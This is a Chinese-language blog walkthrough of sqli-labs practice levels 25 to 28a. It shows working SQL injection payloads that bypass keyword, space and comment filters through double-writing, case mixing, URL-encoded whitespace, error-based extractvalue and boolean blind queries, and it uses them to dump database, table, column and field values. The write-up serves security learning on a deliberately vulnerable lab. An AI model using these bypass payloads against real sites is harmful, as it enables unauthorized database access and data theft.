目录
Less25-and和or被过滤的绕过
绕过and和or的常用方法
爆破数据库名
爆破表名
爆破列名
爆破字段值
Less25a-and和or被过滤的绕过
Less26-空格和注释符被过滤的绕过
绕过空格和注释符的常用方法
爆破数据库名
爆破表名
爆破列名
爆破字段值
26关代码审计
Less26a-空格和注释符被过滤的绕过
猜解数据库名
猜解表名
猜解列名
猜解字段值
Less27-union和select被过滤的绕过
爆破数据库名
绕过 union 和 select 的主要方法
爆破表名
爆破列名
爆破字段值
27关代码审计
Less27a-union和select被过滤的绕过
爆破数据库名
爆破表名
爆破列名
爆破字段值
Less28-union和select被过滤的绕过
爆破数据库名
爆破表名
爆破列名
爆破字段值
Less28a-union和select被过滤的绕过
总结
Less25-and和or被过滤的绕过
首先我们进入25关:
从页面上也能看出这一关和 and 和 or 有关。再结合下方的话大致可以推测这一关是过滤掉了 and 和 or 。
我们首先输入 \ 测试注入点是什么:
可以看到 \ 后面是单引号,那说明注入点就是单引号,这种方法很快捷,大家也可以使用 。就是直接在我们输入的参数后面加一个 \ 。
知道注入点后我们测试一下数据库的列数,输入语句:
?id=1' order by 3 --+
页面回显:
页面提示:您的输入被过滤。明显可以看到 or 被过滤了。接下来我介绍几个 and 和 or 被过滤的时候常用的绕过方法。
绕过and和or的常用方法
1、大小写变形:将原本的 or 和 and 替换为:Or、oR、And、AND、aND、aNd等等。
2、转换编码输入:将 or 和 and 使用hex,urlencode等编码方式进行转换后在输入。
3、添加注释:例如:/*or*/
4、双写绕过:例如:oorr,aandnd 等。
5、可以使用%26%26代替and。%26 代表字符 '&' 。有时候&&不能用但是可以使用%26%26反正就这两个轮换着试验,哪个可行用哪个。
6、利用符号:and替换为&&、or替换为||
爆破数据库名
我这里使用双写绕过,当然其他绕过方法也可以,大家可以尝试。
输入语句测试列数:
?id=1' oorrder by 4 --+
页面回显:
说明列数小于4,再次输入语句:
?id=1' oorrder by 3 --+
页面回显:
页面回显正常,说明列数为3,接下来测试显示位。
输入语句:
?id=0' union select 1,2,3 --+
页面回显: 可以看到页面的显示位是2和3。
输入语句:
?id=0' union select 1,database(),3 --+
页面回显:
可以看到成功爆破了数据库名字。
爆破表名
输入语句:
?id=0' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+
页面回显: 可以看到成功爆破了表名,这里一定要注意它过滤 or 的时候是所有的 or 都被过滤了,包括在单词中的 or 例如 information_schema.tables 中的 or 也被过滤了,这里一定要注意绕过,不然就报错了。
爆破列名
输入语句:
?id=0' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='emails' --+
页面回显:
可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=0' union select 1,group_concat(id,email_id),3 from emails --+
页面回显:
可以看到成功爆破了字段值。
这里我代码审计一下看一下过滤语句:
可以看到使用 prep_replace()函数 进行了替换,将 or 和 and 替换成空。
到这里25关就结束了。
Less25a-and和or被过滤的绕过
这一关和25关一样,只是没有闭合符号,也就是之前讲的整型注入,直接写语句就可以。
Less26-空格和注释符被过滤的绕过
首先进入26关:
根据页面显示大概是空格和注释符被过滤了。那我们就不能使用空格和注释符了,需要使用其他去替换。
首先输入语句测试注入点是什么:
?id=1'
这里因为注释符被过滤了只能使用单引号测试。
页面回显:
页面报错了,大概率是单引号了。
绕过空格和注释符的常用方法
绕过注释符方法:使用 or '1'='1 或者 and '1'='1 替换,这里理解一下注释符号的作用就可以,我们只要把后面的符号想办法闭合就可以,单引号可以随时替换,主要是根据sql语句的闭合方式决定使用什么符号闭合。
绕过空格方法:
1、/**/(注释绕过)
2、%09 Tab键(水平)
3、%0a 新建一行
4、%0c 新的一页
5、%0d return 键
6、%0b Tab键(垂直)
7、%a0 空格
8、() 绕过,主要通过括号去将某些语句独立起来,这样就不需要空格了。
以上都可以用来绕过。一般过滤了空格之后,联合注入以及双查询注入等就不推荐使用了(Windows系统的前提,如果是LINUX系统直接使用等价字符绕过空格就可以),最好使用报错注入中的 extractvalue()函数 以及 updatexml()函数 进行报错注入。
爆破数据库名
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,database()))%26%26'1'='1
页面回显:
可以看到成功爆破了数据库名字。
因为在URL编码中 && 具有特殊含义,所以我们要将其转换为 %26%26 代替 and 。
其实这里也可以使用 Union 联合注入的,但是我使用的Edge浏览器空格过滤老是绕不过去,输入 %a0 的话页面会显示这样:
直接转换为无效字符了,看了很多篇博客都说是因为Apache解析的问题Windows无法使用 %a0,但是Linux系统没有这个问题可以使用 %a0 绕过,其余绕过的方法我也都尝试了,都不行。
爆破表名
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'1'='1
这里唯一要注意的就是括号太多别写错了。
页面回显:
可以看到成功爆破了表名,因为报错注入最多显示32位,只要不超出去就可以。
爆破列名
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))))||'1'='1
页面回显:
可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,(select(group_concat(id))from(emails))))||'1'='1
页面回显:
可以看到成功爆破了表 emails 中 id 列的字段值。
26关代码审计
我们查看一下源代码:
可以看到这就是过滤代码,使用prep_replace()函数进行查找替换。
到这里第26关就结束了。
Less26a-空格和注释符被过滤的绕过
首先进入这一关:
发现和26关差不多,我们先尝试寻找注入点是什么,输入语句:
?id=1'
页面回显:
发现页面没有出现SQL语法报错,那这关就不能使用报错注入了,因为没有报错回显。只能考虑联合注入和盲注,这里我使用布尔盲注。
接下来我们输入语句:
?id=2'%26%26'1'='1
这条语句也是测试注入点的。页面回显:
可以看到页面回显的依旧是查询用户id为1的数据,说明注入点就不是单引号,这里我讲一下原理,我们假设注入点是单引号,那么我们上面的注入语句被带入到后台中真正执行的语句应该是:
$sql="SELECT * FROM users WHERE id='2' and '1'='1' LIMIT 0,1";
那么页面回显的数据就应该是id=2的用户的数据。很显然注入点不是单引号,但是输入单引号页面会回显错误,说明肯定是单引号不匹配了,也就是说注入点中必定包含单引号。根据经验可得注入点无非就是 ')、')) 这种类型的,最多也就是多套几个括号。
再次输入语句测试:
?id=2')%26%26('1')=('1
页面回显:
可以看到页面回显了id=2用户的信息,说明注入点就是 ') 。
因为这一关中没有报错回显,但是有正常显示的页面和不正常显示页面两种显示情况,所以我这里使用布尔盲注。
猜解数据库名
输入语句猜解数据库名字长度:
?id=1')%26%26length(database())>8%26%26('1')=('1
页面回显:
页面非正常回显,说明长度小于8,接着输入语句:
?id=1')%26%26length(database())>7%26%26('1')=('1
页面回显:
页面正常回显,说明数据库名字长度就是8。
接着猜解数据库具体名字,输入语句:
?id=1')%26%26left(database(),1)>'z'%26%26('1')=('1
页面回显:
页面非正常回显,说明数据库名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。
接着输入语句:
?id=1')%26%26left(database(),1)>'a'%26%26('1')=('1
页面回显: 可以看到页面正常回显,说明数据库名字的第一个字母的ASCII码值大于字母 'a' 的ASCII码值,按照这个方法就可以猜解到数据库名字的第一个字母,其余字母猜解方法一样,这里不在赘述。大家可以使用二分法猜测,这样速度会快一些,也可以使用Python爬虫去自动猜测。
猜解表名
输入语句猜测总共有几张表:
?id=1')%26%26(select(count(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))>3%26%26('1')=('1
页面回显:
页面正常回显,说明表数大于3,接着输入语句测试:
?id=1')%26%26(select(count(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))>4%26%26('1')=('1
页面回显:
可以看到页面非正常回显。所以判断一共应该有四张表
接下来去判断表的名字,输入语句:
?id=1')%26%26left((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1)>'a'%26%26('1')=('1
一般来说我们都是使用 limit 语句去一张表一张表的猜测,但是这里将空格过滤了无法使用 limit 语句去限制,只能是先判断有几张表,然后将所有表名都组在一起一次性猜测。也就是将四张表的表名连在一起,然后一个字母一个字母的猜测表名。再加上之前判断的一共四张表,联合我们的经验,去把猜测出来的字母分成四个表名。
页面回显:
可以看到页面正常回显,说明由四张表连成的名字的第一个字母的ASCII码值大于字母 'a' 的ASCII码值。
接着输入语句继续测试:
?id=1')%26%26left((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1)>'f'%26%26('1')=('1
页面回显:
页面非正常回显,说明由四张表连成的名字的第一个字母的ASCII码值小于字母 'f' 的ASCII码值。通过这种方法最终就能猜解到四张表的表名,这里不在赘述。
猜解列名
输入语句猜测第一张表总共有多少列:
?id=1')%26%26(select(count(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))>2%26%26('1')=('1
页面回显:
页面非正常回显,说明列数小于2,接着输入语句测试:
?id=1')%26%26(select(count(column_name))from(infoorrmation_schema.columns)where(table_name='emails'))>1%26%26('1')=('1
页面回显:
可以看到页面正常回显,说明列数为2。
接下来我们猜解具体列名。
输入语句:
?id=1')%26%26left((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails')),1)>'a'%26%26('1')=('1
页面回显: 可以看到页面正常回显,说明由两列组成的名字的第一个字母的ASCII码值小于字母 'a' 的ASCII码值。
接着输入语句测试:
?id=1')%26%26left((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='emails')),1)>'z'%26%26('1')=('1
页面回显:
可以看到页面非正常回显,说明由两列组成的名字的第一个字母的ASCII码值小于字母 'z' 的ASCII码值。经过这样不断猜测最终可以得到列名。这里不在赘述。
猜解字段值
输入语句猜测总共有多少个字段:
?id=1')%26%26(select(count(id))from(emails))>7%26%26('1')=('1
页面回显:
可以看到页面正常回显,说明字段数大于7,接着输入语句测试:
?id=1')%26%26(select(count(id))from(emails))>8%26%26('1')=('1
页面回显:
可以看到页面非正常回显,说明字段数就是7。
接下来输入语句测试每一个字段的值:
?id=1')%26%26ascii((select(group_concat(id,email_id))from(emails)))>1%26%26('1')=('1
页面回显:
页面正常回显,说明由两列所有字段组成的数据段的第一个字段值的ASCII码值大于1。
接着输入语句测试:
?id=1')%26%26ascii((select(group_concat(id,email_id))from(emails)))>50%26%26('1')=('1
页面回显:
页面非正常回显,说明由两列所有字段组成的数据段的第一个字段值的ASCII码值小于50。通过这样的方法最终可以得到字段值对应的ASCII码值,最后转换一下即可。这里不在赘述。
到这里26a关就结束了。
Less27-union和select被过滤的绕过
进入27关:
通过页面可得这一关应该主要是过滤了 union 和 select 。
首先输入语句测试注入点:
?id=1\
页面回显:
通过页面的报错信息可得注入点为单引号。同时发现这一关中存在报错回显,那么就可以使用报错注入。我这里就使用报错注入。
爆破数据库名
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,database()))||'1'='1
页面回显:
可以发现成功爆破数据库名。
绕过 union 和 select 的主要方法
(1):使用注释符绕过:
//、--、--+、#、/**/、-、;、%00、--空格
具体用法,例如过滤了 select 的绕过:se/**/lect,可以一位一位的试验,有的后台检测前两个字符是否匹配,有的前三个,注释符要插入在不同的位置去检验,我们最终要实现的就是让后台检测不出这是select,只要后台检测的字符数之内不匹配就可以绕过了,当然现在这只是我的猜想,有可能后台也是根据不匹配字数总和来判断的,例如不匹配指数到达某个值以上就判断该字符串不匹配了。
(2):使用大小写绕过
例如:SElect,这个绕过方法主要就是大小写混着用,从而骗过后台检测,预防方法就是后台无视大小写就可以了。
(3):双写绕过
例如:SELSELECTECT,双写的时候一般是对半分,如果不能对半分的话前面比后面多一个字符就可以,例如 union 双写为 UNIUNIONON。
(4):换编码绕过
使用不同的编码方式去表示这些字符,例如转换为URL编码输入,ASCII编码、unicode编码等。
(5):内联注释绕过
内联注释就是把一些特有的只有在Mysql上的语句放入到/*!...*/中,这些语句在其他数据库中是不会执行的,但是在Mysql中可以执行。
(6):写两次union和select
有些时候会过滤单一的union+空格(包括可替代空格的特殊字符)+select,但是又没过滤单独存在的union,select可以构造union%0dunion%0dselectselect%0d1,2,3这样的语句进行尝试。
爆破表名
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))))||'1'='1
这里我使用大小写绕过的方法绕过select,页面回显:
可以看到成功爆破了表名。
爆破列名
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(column_name))from(information_schema.columns)where(table_name='emails'))))||'1'='1
页面回显: 可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=1'%26%26extractvalue(1,concat(0x7e,(SELect(group_concat(id))from(emails))))||'1'='1
页面回显:
可以看到成功爆破了表 emails 中 id 列的字段值。
27关代码审计
我们查看一下第27关的过滤情况:
可以看到过滤情况。
到此27关就结束了。当然大家也可以采取联合注入的方式通过,我这里采用了报错注入。
Less27a-union和select被过滤的绕过
首先进入27a关:
可以看到和27关类似,接下来我们测试注入点:
?id=1'
页面回显:
可以看到页面没有报错,那么说明注入点一定不是单引号并且注入点中一定不包含单引号,接着我们输入语句测试:
?id=1"
页面回显:
可以发现页面回显报错但是并没有具体的语法错误回显,说明这一关没有语法报错回显,也就不能使用报错注入。只能尝试联合注入或者盲注。
这里我再进一步确认一下注入点,输入语句:
?id=2"and"1"="1
页面回显:
可以看到回显了 id=2 的用户的信息,说明注入点就是双引号。这种测试方法在前面讲过,不知道原理的小伙伴可以看一下前面的讲解。
接下来我测试一下数据库有多少列:
?id=0"UNIon%0aSELect%0a1,2,3||"1"="1
页面回显:
可以看到数据库有三列,而且页面还回显出了显示位。那么就可以使用联合注入了。
爆破数据库名
输入语句:
?id=0"UNIon%0aSELect%0a1,database(),3||"1"="1
页面回显:
可以看到成功爆破了数据库名字。
爆破表名
输入语句:
?id=0"UNIon%0aSELect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and"1"="1
页面回显:
可以看到成功爆破出了表名。
爆破列名
输入语句:
?id=0"UNIon%0aSELect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='emails'and"1"="1
页面回显:
可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=0"UNIon%0aSELect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand"1"="1
这里要注意 and 前后对象要一致的问题。
页面回显:
可以看到成功爆破了表 emails 的字段值。
至此第27a关就结束了。
Less28-union和select被过滤的绕过
进入28关:
可以看到页面显示和27关类似,盲猜应该只是过滤方式不同,输入语句测试注入点:
?id=1'
页面回显:
可以看到页面虽然报错但是并没有回显语法错误,说明这一关不能使用报错回显。
接着我们输入语句进一步确定注入点:
?id=2'and'1'='1
页面回显:
可以看到页面并没有回显 id=2 的用户的信息,说明注入点不是单引号,我们尝试加一个单括号试一试:
?id=2')and('1')=('1
页面回显:
可以看到页面回显了 id=2 的用户的信息,说明注入点是 ') 。
接下来我们测试一下数据库列数和显示位:
?id=0')%0aUNIon%0aSELect%0a1,2,3||('1')=('1
页面回显:
可以看到页面把我们输入的 union 和 select 过滤了,说明大小写绕过失败了,后台应该是开启了无视大小写的相关设定。我们采用其他方法绕过,我这里在尝试一下双写绕过:
?id=0')uniunionon%0aselselectect%0a1,2,3||('1')=('1
页面回显:
可以看到双写绕过也失败了,我这里在尝试一下以下这种方法:
?id=0')union%0aunion%0aselectselect%0a1,2,3||('1')=('1
页面回显:
可以看到成功绕过了。这种方法就是写两次 union 和 select 。这里过滤的应该是 select+空格+select 这样的,只要和这个语句匹配就过滤了。
这里我分析以下源码:
可以看到语句:$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
在正则匹配中:\s表示空格、+表示匹配一次或者匹配多次、/i表示不区分大小写,这句话的意思就是匹配 union+空格+select 这种类型的,而且不区分大小写,只要匹配上的就都过滤了。这里也过滤了空格,所以不能通过加两个空格等方式绕过,因为加的空格会被过滤。
我这里采用 union%0aunion%0aselectselect%0a1,2,3 这样的语句格式来绕过。通过等价字符%0a绕过空格。
爆破数据库名
输入语句:
?id=0')union%0aunion%0aselectselect%0a1,database(),3%0a||('1')=('1
页面回显:
可以看到成功爆破了数据库名字。
爆破表名
输入语句:
?id=0')union%0aunion%0aselectselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'and('1')=('1
页面回显:
可以看到成功爆破了表名。
爆破列名
输入语句:
?id=0')union%0aunion%0aselectselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='emails'and('1')=('1
页面回显:
可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=0')union%0aunion%0aselectselect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand('1')=('1
页面回显:
可以看到成功爆破了表 emails 的字段值。
到此,28关就结束了。
Less28a-union和select被过滤的绕过
这一关注入点是 ') ,完全和28关一摸一样,连注入点都一样,可能就是过滤方式不一样吧我猜测,用28关的方法就可以通过这一关了,连注入点都不用改,语句也不用改,这一关对于 union 和 select 的过滤方式和28关一样。绕过后台匹配规则就可以。这里就不赘述了。
总结
这一篇博客我主要讲了各种语句被注释后的绕过方法,包括 and 和 or 的绕过、空格和注释符的绕过、union 和 select 的绕过。